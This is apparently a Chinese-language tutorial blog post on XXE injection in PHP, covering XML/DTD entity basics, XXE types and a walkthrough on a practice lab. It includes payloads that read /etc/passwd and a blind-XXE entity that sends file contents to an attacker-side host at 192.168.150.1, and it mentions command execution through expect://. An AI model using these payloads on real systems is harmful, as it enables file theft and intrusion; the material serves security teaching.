初识XXE
XXE
XXE漏洞概述:
XXE(XML External Entity Injection)即XML外部实体注入。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。
下面我们主要介绍PHP语言下的XXE攻击.
XML是一种非常流行的标记语言,在1990年代后期首次标准化,并被无数的软件项目所采用。它用于配置文件,文档格式(如OOXML,ODF,PDF,RSS,…),图像格式(SVG,EXIF标题)和网络协议(WebDAV,CalDAV,XMLRPC,SOAP,XMPP,SAML, XACML,…),他应用的如此的普遍以至于他出现的任何问题都会带来灾难性的结果。
在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。
1.1 XML基础
XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储。
简单来说,如果需要在HTML文档中动态现实数据,则需要使用大量的时间来对HTML进行编辑,通过XML可以将数据存储在独立的XML文件中,这样就可以专注于使用HTML/CSS进行现实和布局,不需要进行大量的修改。
XML数据使用文本的格式进行存储。
1.1.1文档结构
XML文档形成了一种树结构从根部开始,然后扩展到枝叶。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
<!--XML声明--> |
<note>
表示下面的是根元素,使用</note>
进行包裹,之间的被成为子元素。
对于XML文档来说,必须包含根元素。这个元素是所有其他元素的父元素。同时,所有元素都可以有子元素。
1.1.2 DTD
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
*DTD是一种保证XML文档格式正确的有效方法,可以通过比较XML文档和*DTD文件来看文档是否符合规范,元素和标签使用是否正确。**
简单来说这个就是一个用来判定你写的XML是不是正确的一个判定标准,但是可以自己定义。
假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:
(1)内部的 DOCTYPE 声明
<!DOCTYPE 根元素 [元素声明]>
(2)外部文档声明
<!DOCTYPE 根元素 SYSTEM ”文件名”>
<?xml version="1.0"?>//这一行是 XML 文档定义 |
上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写
示例代码:
<message> |
1.1.3 DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
- 实体引用是对实体的引用。
- 实体可在内部或外部进行声明。
其实除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 ML 中除了能标签以外,还需要有些内容是固定的
示例代码:
<?xml version="1.0" encoding="ISO-8859-1"?> |
这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(这是我们在这篇文章中第一次看到实体的真面目,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样
示例代码:
<creds> |
我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。
关于实体的使用:
实体分为两种,内部实体和外部实体,上面我们举的例子就是内部实体,但是实体实际上可以从外部的 dtd 文件中引用,我们看下面的代码:
示例代码:
<?xml version="1.0" encoding="ISO-8859-1"?> |
这样对引用资源所做的任何更改都会在文档中自动更新,非常方便
当然,还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”> |
这个在我们的攻击中也可以起到和 SYSTEM 一样的作用
关于通用实体和参数实体:
我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体)
1.通用实体
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
示例代码:
|
2.参数实体:
(1)使用 % 实体名
(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名;
引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用
示例代码:
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> |
可以看见的是,这样就是直接对实体进行了引用,相当于是写出了两个实体。其中一个是直接给出的实体的值,另一个是给出了实体名称,然后使用url进行外部引用。
抛转:
参数实体在我们 Blind XXE 中起到了至关重要的作用
总结:
(1)内部实体声明
<!ENTITY 实体名称 ”实体的值”>
(2)外部实体声明
<!ENTITY 实体名称 SYSTEM ”URI”>
(3)参数实体声明
<!ENTITY % 实体名称 ”实体的值”>
或者<!ENTITY % 实体名称 SYSTEM ”URI”>
三种实体声明方式使用区别:
参数实体用%实体名称申明,引用时也用%
实体名称;
其余实体直接用实体名称申明,引用时用&
实体名称。
参数实体只能在DTD
中申明,DTD
中引用;
其余实体只能在DTD
中申明,可在xml
文档中引用。
1.2 XXE原理
XXE
即XML外部实体注入
。我们先分别理解一下注入和外部实体的含义。
注入:是指XML
数据在传输过程中被修改,导致服务器执行了修改后的恶意代码,从而达到攻击目的。
外部实体:则是指攻击者通过利用外部实体声明部分来对XML
数据进行修改、插入恶意代码。 所以XXE
就是指XML
数据在传输过程中利用外部实体声明部分的“SYSTEM”
关键词导致XML
解析器可以从本地文件或者远程URI
中读取受保护的数据。(有点像是SSRF,引用了不该使用的本地文件或是远程的url)
1.3 XXE分类
下面我们对XXE
进行一下分类,按照构造外部实体声明的方法不同可分为:
直接通过DTD
外部实体声明
通过DTD
文档引入外部DTD
文档中的外部实体声明
通过DTD
外部实体声明引入外部DTD
文档中的外部实体声明
按照XXE
回显信息不同可分为:
正常回显XXE:
正常回显XXE是最传统的XXE攻击,在利用过程中服务器会直接回显信息,可直接完成XXE攻击。
报错XXE:
报错XXE是回显XXE攻击的一种特例,它与正常回显XXE的不同在于它在利用过程中服务器回显的是错误信息,可根据错误信息的不同判断是否注入成功。
Blind XXE:
当服务器没有回显,我们可以选择使用Blind XXE。与前两种XXE不同之处在于Blind XXE无回显信息,可组合利用file协议来读取文件或http协议和ftp协议来查看日志。
Blind XXE主要使用了DTD约束中的参数实体和内部实体。
在XML基础有提到过参数实体的定义,这里就不再做详细讲解。
参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。
<?xml version="1.0"?> |
Quan.xml内容:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>"> |
%remote
引入外部XML文件到这个 XML 中,%all
检测到send实体,在 root 节点中引入 send 实体,便可实现数据转发。
利用过程:第3行,存在漏洞的服务器会读出file的内容(c:/1.txt),通过Quan.xml带外通道发送给攻击者服务器上的1.php,1.php做的事情就是把读取的数据保存到本地的1.txt中,完成Blind XXE攻击。
1.3.1 按构造外部实体声明
1.3.1.1 直接通过DTD外部实体声明
<?xml version="1.0"?> |
直接引用外部实体,实现对passwd文件的读取。
1.3.1.2 通过DTD文档引入外部DTD文档中的外部实体声明
(注意是通过DTD文档引入外部实体)
XML文件内容:
<?xml version="1.0"?> |
DTD文件内容:
<!ENTITY f SYSTEM "file:///etc/passwd"> |
引用外部的dtd文件内容中的实体,然后达成读取文件的作用。
1.3.1.3 通过DTD外部实体声明引入外部DTD文档中的外部实体声明
(重点是通过文档中的外部实体,引入外部实体,和上面的不一样)
<?xml version="1.0"?> |
Quan.dtd的外部实体声明内容:
<!ENTITY f SYSTEM "file:///etc/passwd"> |
最后的效果,还是把文件内容读取出去。
1.4 XXE能做什么:
上一节疯狂暗示了 外部实体 ,那他究竟能干什么?
<?xml version="1.0" encoding="ISO-8859-1"?> |
既然能读 dtd 那我们是不是能将路径换一换,换成敏感文件的路径,然后把敏感文件读出来?
对于PHP语言,可以使用FILE、HTTP、FTP还有PHP伪协议,来进行文件读取。
也就是说,对于XXE中的XML文档来看,可能出现的危害主要是:
1、读取任意文件
通过多种协议来对本地文件进行读取。
2、执行系统命令
比较少出现的情况,在配置不当或是开发内部应用的情况下,可以通过XXE执行代码。(例如PHP expect 模块被加载到了易受攻击的系统或是处理XML的内部应用上。),使得攻击者能够通过XXE执行代码。
关于PHP expect://,这是一个处理交互流的协议,可以用来执行shell命令。
3、探测内网端口
可以根据返回的信息判断端口是否打开,若测试端口返回“Connection refused”则可以知道该端口是closed的,否则为open。
简单来说,就是通过引用外部实体的方式,来尝试连接成功,如果是报的拒绝连接错了,就是无法访问。
1.5 XXE-Lab靶场
https://github.com/c0ny1/xxe-lab
还是这位师傅写的靶场。
我这里直接搭建的是PHP的XXE靶场,搭建没什么好说的。还是直接用phpstudy,把下载的源码里面的php_xxe
文件放到根目录下打开就行。
为了理解整个XXE漏洞的基本运行过程,这里我直接对源代码进行审计:
|
上面就是源代码的解析,然后看一下抓包的分析:
这里就可以看见传输的数据是通过XML格式进行传输的,同时也可以从Content-type
字段看到需求是application/xml;charset=utf-8
这里我们使用XXE,同时在网页根目录下创建一个flag.php文件,来测试文件的读取。
进行改包:
|
可以看见这里成功的读取了我们创建的文件,并且进行了返回。
这就是简单的有回显的XXE漏洞,这里是实现了任意文件读取。